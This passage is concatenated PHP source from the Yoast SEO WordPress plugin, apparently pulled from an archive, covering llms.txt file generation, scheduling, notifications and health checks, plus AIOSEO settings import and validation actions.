If the file system is available. */ private function is_file_system_available(): ?bool { if ( ! \function_exists( 'WP_Filesystem' ) ) { require_once \ABSPATH . 'wp-admin/includes/file.php'; } return \WP_Filesystem(); } /** * Creates the path to the llms.txt file. * * @return string */ private function get_llms_file_path(): string { $llms_filesystem_path = \get_home_path(); // phpcs:disable WordPress.Security.ValidatedSanitizedInput -- Reason: This is how we used this for the robots.txt file as well. if ( ! \is_writable( $llms_filesystem_path ) && ! empty( $_SERVER['DOCUMENT_ROOT'] ) ) { $llms_filesystem_path = $_SERVER['DOCUMENT_ROOT']; } // phpcs:enable WordPress.Security.ValidatedSanitizedInput /** * Filter: 'wpseo_llmstxt_filesystem_path' - Allows editing the filesystem path of the llmst.txt file to account for server restrictions to the filesystem. * * @param string $llms_filesystem_path The filesystem path of the llmst.txt file that defaults to get_home_path() or the $_SERVER['DOCUMENT_ROOT'] if the home path is not writeable. */ $llms_filesystem_path = \apply_filters( 'wpseo_llmstxt_filesystem_path', $llms_filesystem_path ); return \trailingslashit( $llms_filesystem_path ) . 'llms.txt'; } } llms-txt/infrastructure/markdown-services/title-adapter.php000064400000001761152076257100020335 0ustar00default_tagline_runner = $default_tagline_runner; } /** * Gets the title. * * @return Title The title. */ public function get_title(): Title { $this->default_tagline_runner->run(); $tagline = ( $this->default_tagline_runner->is_successful() ? \get_bloginfo( 'description' ) : '' ); return new Title( \get_bloginfo( 'name' ), $tagline ); } } llms-txt/infrastructure/markdown-services/description-adapter.php000064400000002131152076257100021527 0ustar00meta = $meta; } /** * Gets the description. * * @return Description The description. */ public function get_description(): Description { $meta_description = $this->meta->for_home_page()->meta_description; // In a lot of cases, the homepage's meta description falls back to the site's tagline. // But that is already used for the title section, so let's try to not have duplicate content. if ( $meta_description === \get_bloginfo( 'description' ) ) { return new Description( '' ); } return new Description( $meta_description ); } } llms-txt/infrastructure/markdown-services/content-types-collector.php000064400000007211152076257100022372 0ustar00post_type_helper = $post_type_helper; $this->collection_factory = $collection_factory; $this->options_helper = $options_helper; } /** * Returns the content types in a link list. * * @return Link_List[] The content types in a link list. */ public function get_content_types_lists(): array { $post_types = $this->post_type_helper->get_indexable_post_type_objects(); $post_types = $this->make_sure_pages_are_first( $post_types ); $link_list = []; foreach ( $post_types as $post_type_object ) { if ( $this->post_type_helper->is_indexable( $post_type_object->name ) === false ) { continue; } $option = 'auto'; if ( $post_type_object->name === 'page' ) { $option = $this->options_helper->get( 'llms_txt_selection_mode' ); } $collection_strategy = $this->collection_factory->get_post_collection( $option ); $posts = $collection_strategy->get_posts( $post_type_object->name, 5 ); $post_links = new Link_List( $post_type_object->label, [] ); foreach ( $posts as $post ) { /** * Filter 'wpseo_llmstxt_link_description' - Allow filtering the description of links in the llms.txt post lists. * * @since 26.3 * * @param string $link_description The description of the link. * @param string $post_id The ID of the post that is being added as a link. * @param string $post_type The post type of the post that is being added as a link. */ $link_description = \apply_filters( 'wpseo_llmstxt_link_description', $post->get_description(), $post->get_id(), $post_type_object->name ); $post_link = new Link( $post->get_title(), $post->get_url(), $link_description ); $post_links->add_link( $post_link ); } $link_list[] = $post_links; } return $link_list; } /** * Returns an array of indexable post types with pages and posts as the first two. * * @param array $post_types List of indexable post type objects. * * @return array List of indexable post type objects. */ private function make_sure_pages_are_first( array $post_types ): array { $types_to_go_first = []; if ( isset( $post_types['page'] ) ) { $types_to_go_first['page'] = $post_types['page']; unset( $post_types['page'] ); } return \array_merge( $types_to_go_first, $post_types ); } } llms-txt/infrastructure/markdown-services/sitemap-link-collector.php000064400000001423152076257100022152 0ustar00taxonomy_helper = $taxonomy_helper; } /** * Returns the content types in a link list. * * @return Link_List[] The content types in a link list. */ public function get_terms_lists(): array { $taxonomies = $this->taxonomy_helper->get_indexable_taxonomy_objects(); $link_list = []; foreach ( $taxonomies as $taxonomy ) { if ( $this->taxonomy_helper->is_indexable( $taxonomy->name ) === false ) { continue; } $terms = \get_categories( [ 'taxonomy' => $taxonomy->name, 'number' => 5, 'orderby' => 'count', 'order' => 'DESC', ], ); $term_links = new Link_List( $taxonomy->label, [] ); foreach ( $terms as $term ) { $term_link = new Link( $term->name, \get_term_link( $term, $taxonomy->name ) ); $term_links->add_link( $term_link ); } $link_list[] = $term_links; } return $link_list; } } llms-txt/infrastructure/content/post-collection-factory.php000064400000003130152076257110020361 0ustar00manual_post_collection = $manual_post_collection; $this->automatic_post_collection = $automatic_post_collection; } /** * Determines which collection class is needed. * * @param string $collection_type The type of collection. * * @throws Exception Throws when an invalid type is given. * @return Post_Collection_Interface */ public function get_post_collection( string $collection_type ): Post_Collection_Interface { switch ( $collection_type ) { case 'manual': return $this->manual_post_collection; case 'auto': return $this->automatic_post_collection; default: throw new Exception( 'Invalid collection type provided' ); } } } llms-txt/infrastructure/content/manual-post-collection.php000064400000010540152076257110020172 0ustar00options_helper = $options_helper; $this->indexable_helper = $indexable_helper; $this->indexable_repository = $indexable_repository; $this->meta = $meta; } /** * The post method to get all relevant content type entries * * @return array> The posts that are relevant for the LLMs.txt. */ public function get_posts(): array { $posts = []; $pages = [ 'about_us_page', 'contact_page', 'terms_page', 'privacy_policy_page', 'shop_page', ]; foreach ( $pages as $page ) { $page_id = $this->options_helper->get( $page ); if ( ! empty( $page_id ) ) { $post = $this->get_content_type_entry( $page_id ); if ( $post !== null ) { $posts[] = $post; } else { $this->options_helper->set( $page, 0 ); } } } $other_pages = $this->options_helper->get( 'other_included_pages' ); $filtered_pages = []; if ( ! empty( $other_pages ) ) { foreach ( $other_pages as $page_id ) { $post = $this->get_content_type_entry( $page_id ); if ( $post !== null ) { $posts[] = $post; $filtered_pages[] = $page_id; } } if ( \count( $filtered_pages ) !== \count( $other_pages ) ) { $this->options_helper->set( 'other_included_pages', $filtered_pages ); } } return $posts; } /** * Gets the content entries. * * @param int $page_id The id of the page. * * @return Content_Type_Entry The content type entry. */ public function get_content_type_entry( int $page_id ): ?Content_Type_Entry { if ( $this->indexable_helper->should_index_indexables() ) { $post = $this->get_content_type_entry_for_indexable( $page_id ); } else { $post = $this->get_content_type_entry_wp_query( $page_id ); } return $post; } /** * Gets the content entries with WP query. * * @param int $page_id The id of the page. * * @return Content_Type_Entry The content type entry. */ public function get_content_type_entry_wp_query( int $page_id ): ?Content_Type_Entry { $page = \get_post( $page_id ); if ( $page !== null && $page->post_password === '' && $page->post_status === 'publish' ) { return Content_Type_Entry::from_post( $page, \get_permalink( $page->ID ) ); } return null; } /** * Gets the content entries with indexables. * * @param int $page_id The id of the page. * * @return Content_Type_Entry The content type entry. */ public function get_content_type_entry_for_indexable( int $page_id ): ?Content_Type_Entry { $indexable = $this->indexable_repository->find_by_id_and_type( $page_id, 'post' ); if ( $indexable && ( $indexable->is_public === null || $indexable->is_public ) ) { $indexable_meta = $this->meta->for_indexable( $indexable ); if ( $indexable_meta->post instanceof WP_Post ) { return Content_Type_Entry::from_meta( $indexable_meta ); } } return null; } } llms-txt/infrastructure/content/automatic-post-collection.php000064400000016015152076257110020706 0ustar00options_helper = $options_helper; $this->indexable_repository = $indexable_repository; $this->meta = $meta; $this->indexable_helper = $indexable_helper; } /** * Gets the posts that are relevant for the LLMs.txt. * * @param string $post_type The post type. * @param int $limit The maximum number of posts to return. * * @return array> The posts that are relevant for the LLMs.txt. */ public function get_posts( string $post_type, int $limit ): array { $posts = $this->get_recent_cornerstone_content( $post_type, $limit ); if ( \count( $posts ) >= $limit ) { return $posts; } $recent_posts = $this->get_recent_posts( $post_type, $limit ); foreach ( $recent_posts as $recent_post ) { // If the post is already in the list because it's cornerstone, don't add it again. if ( isset( $posts[ $recent_post->get_id() ] ) ) { continue; } $posts[ $recent_post->get_id() ] = $recent_post; if ( \count( $posts ) >= $limit ) { break; } } return $posts; } /** * Gets the most recently modified cornerstone content. * * @param string $post_type The post type. * @param int $limit The maximum number of posts to return. * * @return array> The most recently modified cornerstone content. */ private function get_recent_cornerstone_content( string $post_type, int $limit ): array { if ( ! $this->options_helper->get( 'enable_cornerstone_content' ) ) { return []; } $cornerstone_limit = ( \is_post_type_hierarchical( $post_type ) ) ? null : $limit; $cornerstones = $this->indexable_repository->get_recent_cornerstone_for_post_type( $post_type, $cornerstone_limit ); $recent_cornerstone_posts = []; foreach ( $cornerstones as $cornerstone ) { $cornerstone_meta = $this->meta->for_indexable( $cornerstone ); if ( $cornerstone_meta->post instanceof WP_Post ) { $recent_cornerstone_posts[ $cornerstone_meta->post->ID ] = Content_Type_Entry::from_meta( $cornerstone_meta ); } } return $recent_cornerstone_posts; } /** * Gets the most recently modified posts. * * @param string $post_type The post type. * @param int $limit The maximum number of posts to return. * @param string $search_filter Optional. The search filter to apply to the query. * @param bool $disable_excluding_old_posts Optional. Whether to disable excluding posts older than one year. * * @return array The most recently modified posts. */ public function get_recent_posts( string $post_type, int $limit, string $search_filter = '', bool $disable_excluding_old_posts = false ): array { $exclude_older_than_one_year = false; if ( $post_type === 'post' && ! $disable_excluding_old_posts ) { $exclude_older_than_one_year = true; } if ( $this->indexable_helper->should_index_indexables() ) { return $this->get_recently_modified_posts_indexables( $post_type, $limit, $exclude_older_than_one_year, $search_filter ); } return $this->get_recently_modified_posts_wp_query( $post_type, $limit, $exclude_older_than_one_year, $search_filter ); } /** * Returns most recently modified posts of a post type, using indexables. * * @param string $post_type The post type. * @param int $limit The maximum number of posts to return. * @param bool $exclude_older_than_one_year Whether to exclude posts older than one year. * @param string $search_filter Optional. The search filter to apply to the query. * * @return array The most recently modified posts. */ private function get_recently_modified_posts_indexables( string $post_type, int $limit, bool $exclude_older_than_one_year, string $search_filter = '' ): array { $posts = []; $recently_modified_indexables = $this->indexable_repository->get_recently_modified_posts( $post_type, $limit, $exclude_older_than_one_year, $search_filter ); foreach ( $recently_modified_indexables as $indexable ) { $indexable_meta = $this->meta->for_indexable( $indexable ); if ( $indexable_meta->post instanceof WP_Post ) { $posts[] = Content_Type_Entry::from_meta( $indexable_meta ); } } return $posts; } /** * Returns most recently modified posts of a post type, using WP_Query. * * @param string $post_type The post type. * @param int $limit The maximum number of posts to return. * @param bool $exclude_older_than_one_year Whether to exclude posts older than one year. * @param string $search_filter Optional. The search filter to apply to the query. * * @return array The most recently modified posts. */ private function get_recently_modified_posts_wp_query( string $post_type, int $limit, bool $exclude_older_than_one_year, string $search_filter = '' ): array { $args = [ 'post_type' => $post_type, 'posts_per_page' => $limit, 'post_status' => 'publish', 'orderby' => 'modified', 'order' => 'DESC', 'has_password' => false, ]; if ( $exclude_older_than_one_year === true ) { $args['date_query'] = [ [ 'after' => '12 months ago', ], ]; } if ( $search_filter !== '' ) { $args['s'] = $search_filter; } $posts = []; foreach ( \get_posts( $args ) as $post ) { $posts[] = Content_Type_Entry::from_post( $post, \get_permalink( $post->ID ) ); } return $posts; } } llms-txt/user-interface/available-posts-route.php000064400000007537152076257110016221 0ustar00available_posts_repository = $available_posts_repository; $this->capability_helper = $capability_helper; } /** * Registers routes for scores. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_NAME, [ [ 'methods' => 'GET', 'callback' => [ $this, 'get_available_posts' ], 'permission_callback' => [ $this, 'permission_manage_options' ], 'args' => [ 'search' => [ 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', 'default' => '', ], 'postType' => [ 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', 'default' => 'page', ], ], ], ], ); } /** * Gets the available posts. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response The success or failure response. */ public function get_available_posts( WP_REST_Request $request ): WP_REST_Response { try { $request_parameters = new Parameters( $request->get_param( 'postType' ), $request->get_param( 'search' ) ); $this->validate_request_parameters( $request_parameters ); $available_posts_container = $this->available_posts_repository->get_posts( $request_parameters ); } catch ( Exception $exception ) { return new WP_REST_Response( [ 'error' => $exception->getMessage(), ], $exception->getCode(), ); } return new WP_REST_Response( $available_posts_container->to_array(), 200, ); } /** * Validates the request's parameters. * * @param Parameters $request_parameters The request parameters. * * @return void. * * @throws Invalid_Post_Type_Exception When the given post type is invalid. */ public function validate_request_parameters( Parameters $request_parameters ): void { if ( ! \is_a( \get_post_type_object( $request_parameters->get_post_type() ), WP_Post_Type::class ) ) { throw new Invalid_Post_Type_Exception(); } } /** * Permission callback. * * @return bool True when user has the 'wpseo_manage_options' capability. */ public function permission_manage_options() { return $this->capability_helper->current_user_can( 'wpseo_manage_options' ); } } llms-txt/user-interface/enable-llms-txt-option-watcher.php000064400000010140152076257110017730 0ustar00scheduler = $scheduler; $this->remove_file_command_handler = $remove_file_command_handler; $this->populate_file_command_handler = $populate_file_command_handler; $this->options_helper = $options_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'update_option_wpseo', [ $this, 'check_toggle_llms_txt' ], 10, 2 ); \add_action( 'update_option_wpseo_llmstxt', [ $this, 'check_llms_txt_selection' ], 10, 2 ); } /** * Checks if the LLMS.txt feature is toggled. * * @param array> $old_value The old value of the option. * @param array> $new_value The new value of the option. * * @return void */ public function check_toggle_llms_txt( $old_value, $new_value ): void { $option_name = 'enable_llms_txt'; if ( \array_key_exists( $option_name, $old_value ) && \array_key_exists( $option_name, $new_value ) && $old_value[ $option_name ] !== $new_value[ $option_name ] ) { if ( $new_value[ $option_name ] === true ) { $this->scheduler->schedule_weekly_llms_txt_population(); $this->populate_file_command_handler->handle(); } else { $this->scheduler->unschedule_llms_txt_population(); $this->remove_file_command_handler->handle(); } } } /** * Checks if any of the llms.txt settings were changed. * * @param array> $old_value The old value of the option. * @param array> $new_value The new value of the option. * * @return void */ public function check_llms_txt_selection( $old_value, $new_value ): void { if ( $this->options_helper->get( 'enable_llms_txt', false ) !== true ) { return; } foreach ( $this->option_names as $option_name ) { if ( ! \array_key_exists( $option_name, $old_value ) || ! \array_key_exists( $option_name, $new_value ) ) { continue; } if ( $old_value[ $option_name ] !== $new_value[ $option_name ] ) { $this->populate_file_command_handler->handle(); return; } } } } llms-txt/user-interface/cleanup-llms-txt-on-deactivation.php000064400000002767152076257110020272 0ustar00command_handler = $command_handler; $this->cron_scheduler = $cron_scheduler; } /** * Registers the unscheduling of the cron to the deactivation action. * * @return void */ public function register_hooks() { \add_action( 'wpseo_deactivate', [ $this, 'maybe_remove_llms_file' ] ); } /** * Call the command handler to remove the file. * * @return void */ public function maybe_remove_llms_file(): void { $this->command_handler->handle(); $this->cron_scheduler->unschedule_llms_txt_population(); } } llms-txt/user-interface/llms-txt-cron-callback-integration.php000064400000005102152076257110020557 0ustar00options_helper = $options_helper; $this->scheduler = $scheduler; $this->populate_file_command_handler = $populate_file_command_handler; $this->remove_file_command_handler = $remove_file_command_handler; } /** * Registers the hooks with WordPress. * * @return void */ public function register_hooks() { \add_action( Llms_Txt_Cron_Scheduler::LLMS_TXT_POPULATION, [ $this, 'populate_file', ], ); } /** * Populates and creates the file. * * @return void */ public function populate_file(): void { if ( ! \wp_doing_cron() ) { return; } if ( $this->options_helper->get( 'enable_llms_txt', false ) !== true ) { $this->scheduler->unschedule_llms_txt_population(); $this->remove_file_command_handler->handle(); return; } $this->populate_file_command_handler->handle(); } } llms-txt/user-interface/health-check/file-reports.php000064400000007216152076257120016725 0ustar00report_builder_factory = $report_builder_factory; } /** * Returns the message for a successful health check. * * @return string[] The message as a WordPress site status report. */ public function get_success_result() { $label = \sprintf( /* translators: %s: Yoast SEO. */ \__( 'Your llms.txt file is auto-generated by %s', 'wordpress-seo' ), 'Yoast SEO', ); $description = \sprintf( /* translators: %s: Yoast SEO. */ \__( '%s keeps your llms.txt file up-to-date. This helps LLMs access and provide your site\'s information more easily.', 'wordpress-seo' ), 'Yoast SEO', ); return $this->get_report_builder() ->set_label( $label ) ->set_status_good() ->set_description( $description ) ->build(); } /** * Returns the message for a failed health check. In this case, when the llms.txt file couldn't be auto-generated. * * @param string $reason The reason why the llms.txt file couldn't be auto-generated. * * @return string[] The message as a WordPress site status report. */ public function get_generation_failure_result( $reason ) { switch ( $reason ) { case 'not_managed_by_yoast_seo': $title = \__( 'Your llms.txt file couldn\'t be auto-generated', 'wordpress-seo' ); $message = \sprintf( /* translators: 1,3,5: expand to opening paragraph tag, 2,4,6: expand to opening paragraph tag. */ \__( '%1$sYou have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file.%2$s%3$sIt looks like there is an llms.txt file already that wasn\'t created by Yoast, or the llms.txt file created by Yoast has been edited manually.%4$s%5$sWe don\'t want to overwrite this file\'s content, so if you want to let Yoast keep auto-generating the llms.txt file, you can manually delete the existing one. Otherwise, consider disabling the Yoast feature.%6$s', 'wordpress-seo' ), '

      ', '

      ', '

      ', '

      ', '

      ', '

      ', ); break; case 'filesystem_permissions': $title = \__( 'Your llms.txt file couldn\'t be auto-generated', 'wordpress-seo' ); $message = \sprintf( /* translators: 1,3: expand to opening paragraph tag, 2,4: expand to opening paragraph tag. */ \__( '%1$sYou have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file.%2$s%3$sIt looks like there aren\'t sufficient permissions on the web server\'s filesystem.%4$s', 'wordpress-seo' ), '

      ', '

      ', '

      ', '

      ', ); break; default: $title = \__( 'Your llms.txt file couldn\'t be auto-generated', 'wordpress-seo' ); $message = \__( 'You have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file, for unknown reasons.', 'wordpress-seo' ); break; } return $this->get_report_builder() ->set_label( $title ) ->set_status_recommended() ->set_description( $message ) ->build(); } } llms-txt/user-interface/schedule-population-on-activation-integration.php000064400000002732152076257120023046 0ustar00scheduler = $scheduler; $this->options_helper = $options_helper; } /** * Registers the scheduling of the cron to the activation action. * * @return void */ public function register_hooks() { \add_action( 'wpseo_activate', [ $this, 'schedule_llms_txt_population' ] ); } /** * Schedules the cron if the option is turned on. * * @return void */ public function schedule_llms_txt_population() { if ( $this->options_helper->get( 'enable_llms_txt', false ) === true ) { $this->scheduler->schedule_quick_llms_txt_population(); } } } llms-txt/user-interface/file-failure-llms-txt-notification-integration.php000064400000006765152076257130023136 0ustar00options_helper = $options_helper; $this->notification_center = $notification_center; $this->presenter = $presenter; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'maybe_show_notification' ], 10, 2 ); } /** * Manage the search engines discouraged notification. * * Shows the notification if needed and deletes it if needed. * * @return void */ public function maybe_show_notification() { if ( ! $this->should_show_file_failure_notification() ) { $this->remove_file_failure_notification_if_exists(); } else { $this->maybe_add_file_failure_notification(); } } /** * Whether the file failure notification should be shown. * * @return bool */ private function should_show_file_failure_notification(): bool { return $this->options_helper->get( 'enable_llms_txt', false ) && \get_option( Populate_File_Command_Handler::GENERATION_FAILURE_OPTION, false ) !== false; } /** * Remove the search engines discouraged notification if it exists. * * @return void */ private function remove_file_failure_notification_if_exists() { $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); } /** * Add the search engines discouraged notification if it does not exist yet. * * @return void */ private function maybe_add_file_failure_notification() { if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) { $notification = new Yoast_Notification( $this->presenter->present(), [ 'type' => Yoast_Notification::ERROR, 'id' => self::NOTIFICATION_ID, 'capabilities' => 'wpseo_manage_options', 'priority' => 1, ], ); $this->notification_center->restore_notification( $notification ); $this->notification_center->add_notification( $notification ); } } } loggers/logger.php000064400000002057152076257130010212 0ustar00wrapped_logger = new NullLogger(); /** * Gives the possibility to set override the logger interface. * * @param LoggerInterface $logger Instance of NullLogger. * * @return LoggerInterface The logger object. */ $this->wrapped_logger = \apply_filters( 'wpseo_logger', $this->wrapped_logger ); } /** * Logs with an arbitrary level. * * @param mixed $level The log level. * @param string $message The log message. * @param array $context The log context. * * @return void */ public function log( $level, $message, array $context = [] ) { $this->wrapped_logger->log( $level, $message, $context ); } } actions/importing/importing-indexation-action-interface.php000064400000001445152076257150020324 0ustar00import_cursor = $import_cursor; $this->options = $options; $this->sanitization = $sanitization; $this->replacevar_handler = $replacevar_handler; $this->robots_provider = $robots_provider; $this->robots_transformer = $robots_transformer; } /** * Sets the AIOSEO helper. * * @required * * @param Aioseo_Helper $aioseo_helper The AIOSEO helper. * * @return void */ public function set_aioseo_helper( Aioseo_Helper $aioseo_helper ) { $this->aioseo_helper = $aioseo_helper; } /** * The name of the plugin we import from. * * @return string The plugin we import from. * * @throws Exception If the PLUGIN constant is not set in the child class. */ public function get_plugin() { $class = static::class; $plugin = $class::PLUGIN; if ( $plugin === null ) { throw new Exception( 'Importing action without explicit plugin' ); } return $plugin; } /** * The data type we import from the plugin. * * @return string The data type we import from the plugin. * * @throws Exception If the TYPE constant is not set in the child class. */ public function get_type() { $class = static::class; $type = $class::TYPE; if ( $type === null ) { throw new Exception( 'Importing action without explicit type' ); } return $type; } /** * Can the current action import the data from plugin $plugin of type $type? * * @param string|null $plugin The plugin to import from. * @param string|null $type The type of data to import. * * @return bool True if this action can handle the combination of Plugin and Type. * * @throws Exception If the TYPE constant is not set in the child class. */ public function is_compatible_with( $plugin = null, $type = null ) { if ( empty( $plugin ) && empty( $type ) ) { return true; } if ( $plugin === $this->get_plugin() && empty( $type ) ) { return true; } if ( empty( $plugin ) && $type === $this->get_type() ) { return true; } if ( $plugin === $this->get_plugin() && $type === $this->get_type() ) { return true; } return false; } /** * Gets the completed id (to be used as a key for the importing_completed option). * * @return string The completed id. */ public function get_completed_id() { return $this->get_cursor_id(); } /** * Returns the stored state of completedness. * * @return int The stored state of completedness. */ public function get_completed() { $completed_id = $this->get_completed_id(); $importers_completions = $this->options->get( 'importing_completed', [] ); return ( isset( $importers_completions[ $completed_id ] ) ) ? $importers_completions[ $completed_id ] : false; } /** * Stores the current state of completedness. * * @param bool $completed Whether the importer is completed. * * @return void */ public function set_completed( $completed ) { $completed_id = $this->get_completed_id(); $current_importers_completions = $this->options->get( 'importing_completed', [] ); $current_importers_completions[ $completed_id ] = $completed; $this->options->set( 'importing_completed', $current_importers_completions ); } /** * Returns whether the importing action is enabled. * * @return bool True by default unless a child class overrides it. */ public function is_enabled() { return true; } /** * Gets the cursor id. * * @return string The cursor id. */ protected function get_cursor_id() { return $this->get_plugin() . '_' . $this->get_type(); } /** * Minimally transforms data to be imported. * * @param string $meta_data The meta data to be imported. * * @return string The transformed meta data. */ public function simple_import( $meta_data ) { // Transform the replace vars into Yoast replace vars. $transformed_data = $this->replacevar_handler->transform( $meta_data ); return $this->sanitization->sanitize_text_field( \html_entity_decode( $transformed_data ) ); } /** * Transforms URL to be imported. * * @param string $meta_data The meta data to be imported. * * @return string The transformed URL. */ public function url_import( $meta_data ) { // We put null as the allowed protocols here, to have the WP default allowed protocols, see https://developer.wordpress.org/reference/functions/wp_allowed_protocols. return $this->sanitization->sanitize_url( $meta_data, null ); } } actions/importing/aioseo/aioseo-default-archive-settings-importing-action.php000064400000005610152076257160023660 0ustar00aioseo_options_to_yoast_map = [ '/author/title' => [ 'yoast_name' => 'title-author-wpseo', 'transform_method' => 'simple_import', ], '/author/metaDescription' => [ 'yoast_name' => 'metadesc-author-wpseo', 'transform_method' => 'simple_import', ], '/date/title' => [ 'yoast_name' => 'title-archive-wpseo', 'transform_method' => 'simple_import', ], '/date/metaDescription' => [ 'yoast_name' => 'metadesc-archive-wpseo', 'transform_method' => 'simple_import', ], '/search/title' => [ 'yoast_name' => 'title-search-wpseo', 'transform_method' => 'simple_import', ], '/author/advanced/robotsMeta/noindex' => [ 'yoast_name' => 'noindex-author-wpseo', 'transform_method' => 'import_noindex', 'type' => 'archives', 'subtype' => 'author', 'option_name' => 'aioseo_options', ], '/date/advanced/robotsMeta/noindex' => [ 'yoast_name' => 'noindex-archive-wpseo', 'transform_method' => 'import_noindex', 'type' => 'archives', 'subtype' => 'date', 'option_name' => 'aioseo_options', ], ]; } /** * Returns a setting map of the robot setting for author archives. * * @return array The setting map of the robot setting for author archives. */ public function pluck_robot_setting_from_mapping() { $this->build_mapping(); foreach ( $this->aioseo_options_to_yoast_map as $setting ) { // Return the first archive setting map. if ( $setting['transform_method'] === 'import_noindex' && isset( $setting['subtype'] ) && $setting['subtype'] === 'author' ) { return $setting; } } return []; } } actions/importing/aioseo/aioseo-posttype-defaults-settings-importing-action.php000064400000005540152076257160024313 0ustar00 true ], 'objects' ); foreach ( $post_type_objects as $pt ) { // Use all the custom post types that are public. $this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/title' ] = [ 'yoast_name' => 'title-' . $pt->name, 'transform_method' => 'simple_import', ]; $this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/metaDescription' ] = [ 'yoast_name' => 'metadesc-' . $pt->name, 'transform_method' => 'simple_import', ]; $this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/showMetaBox' ] = [ 'yoast_name' => 'display-metabox-pt-' . $pt->name, 'transform_method' => 'simple_boolean_import', ]; $this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/robotsMeta/noindex' ] = [ 'yoast_name' => 'noindex-' . $pt->name, 'transform_method' => 'import_noindex', 'type' => 'postTypes', 'subtype' => $pt->name, 'option_name' => 'aioseo_options_dynamic', ]; if ( $pt->name === 'attachment' ) { $this->aioseo_options_to_yoast_map['/attachment/redirectAttachmentUrls'] = [ 'yoast_name' => 'disable-attachment', 'transform_method' => 'import_redirect_attachment', ]; } } } /** * Transforms the redirect_attachment setting. * * @param string $redirect_attachment The redirect_attachment setting. * * @return bool The transformed redirect_attachment setting. */ public function import_redirect_attachment( $redirect_attachment ) { switch ( $redirect_attachment ) { case 'disabled': return false; case 'attachment': case 'attachment_parent': default: return true; } } } actions/importing/aioseo/aioseo-validate-data-action.php000064400000021160152076257170017450 0ustar00wpdb = $wpdb; $this->options = $options; $this->post_importing_action = $post_importing_action; $this->settings_importing_actions = [ $custom_archive_action, $default_archive_action, $general_settings_action, $posttype_defaults_settings_action, $taxonomy_settings_action, ]; } /** * Just checks if the action has been completed in the past. * * @return int 1 if it hasn't been completed in the past, 0 if it has. */ public function get_total_unindexed() { return ( ! $this->get_completed() ) ? 1 : 0; } /** * Just checks if the action has been completed in the past. * * @param int $limit The maximum number of unimported objects to be returned. Not used, exists to comply with the interface. * * @return int 1 if it hasn't been completed in the past, 0 if it has. */ public function get_limited_unindexed_count( $limit ) { return ( ! $this->get_completed() ) ? 1 : 0; } /** * Validates AIOSEO data. * * @return array An array of validated data or false if aioseo data did not pass validation. * * @throws Aioseo_Validation_Exception If the validation fails. */ public function index() { if ( $this->get_completed() ) { return []; } $validated_aioseo_table = $this->validate_aioseo_table(); $validated_aioseo_settings = $this->validate_aioseo_settings(); $validated_robot_settings = $this->validate_robot_settings(); if ( $validated_aioseo_table === false || $validated_aioseo_settings === false || $validated_robot_settings === false ) { throw new Aioseo_Validation_Exception(); } $this->set_completed( true ); return [ 'validated_aioseo_table' => $validated_aioseo_table, 'validated_aioseo_settings' => $validated_aioseo_settings, 'validated_robot_settings' => $validated_robot_settings, ]; } /** * Validates the AIOSEO indexable table. * * @return bool Whether the AIOSEO table exists and has the structure we expect. */ public function validate_aioseo_table() { if ( ! $this->aioseo_helper->aioseo_exists() ) { return false; } $table = $this->aioseo_helper->get_table(); $needed_data = $this->post_importing_action->get_needed_data(); $aioseo_columns = $this->wpdb->get_col( "SHOW COLUMNS FROM {$table}", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. 0, ); return $needed_data === \array_intersect( $needed_data, $aioseo_columns ); } /** * Validates the AIOSEO settings from the options table. * * @return bool Whether the AIOSEO settings from the options table exist and have the structure we expect. */ public function validate_aioseo_settings() { foreach ( $this->settings_importing_actions as $settings_import_action ) { $aioseo_settings = \json_decode( \get_option( $settings_import_action->get_source_option_name(), '' ), true ); if ( ! $settings_import_action->isset_settings_tab( $aioseo_settings ) ) { return false; } } return true; } /** * Validates the AIOSEO robots settings from the options table. * * @return bool Whether the AIOSEO robots settings from the options table exist and have the structure we expect. */ public function validate_robot_settings() { if ( $this->validate_post_robot_settings() && $this->validate_default_robot_settings() ) { return true; } return false; } /** * Validates the post AIOSEO robots settings from the options table. * * @return bool Whether the post AIOSEO robots settings from the options table exist and have the structure we expect. */ public function validate_post_robot_settings() { $post_robot_mapping = $this->post_importing_action->enhance_mapping(); // We're gonna validate against posttype robot settings only for posts, assuming the robot settings stay the same for other post types. $post_robot_mapping['subtype'] = 'post'; // Let's get both the aioseo_options and the aioseo_options_dynamic options. $aioseo_global_settings = $this->aioseo_helper->get_global_option(); $aioseo_posts_settings = \json_decode( \get_option( $post_robot_mapping['option_name'], '' ), true ); $needed_robots_data = $this->post_importing_action->get_needed_robot_data(); \array_push( $needed_robots_data, 'default', 'noindex' ); foreach ( $needed_robots_data as $robot_setting ) { // Validate against global settings. if ( ! isset( $aioseo_global_settings['searchAppearance']['advanced']['globalRobotsMeta'][ $robot_setting ] ) ) { return false; } // Validate against posttype settings. if ( ! isset( $aioseo_posts_settings['searchAppearance'][ $post_robot_mapping['type'] ][ $post_robot_mapping['subtype'] ]['advanced']['robotsMeta'][ $robot_setting ] ) ) { return false; } } return true; } /** * Validates the default AIOSEO robots settings for search appearance settings from the options table. * * @return bool Whether the AIOSEO robots settings for search appearance settings from the options table exist and have the structure we expect. */ public function validate_default_robot_settings() { foreach ( $this->settings_importing_actions as $settings_import_action ) { $robot_setting_map = $settings_import_action->pluck_robot_setting_from_mapping(); // Some actions return empty robot settings, let's not validate against those. if ( ! empty( $robot_setting_map ) ) { $aioseo_settings = \json_decode( \get_option( $robot_setting_map['option_name'], '' ), true ); if ( ! isset( $aioseo_settings['searchAppearance'][ $robot_setting_map['type'] ][ $robot_setting_map['subtype'] ]['advanced']['robotsMeta']['default'] ) ) { return false; } } } return true; } /** * Used nowhere. Exists to comply with the 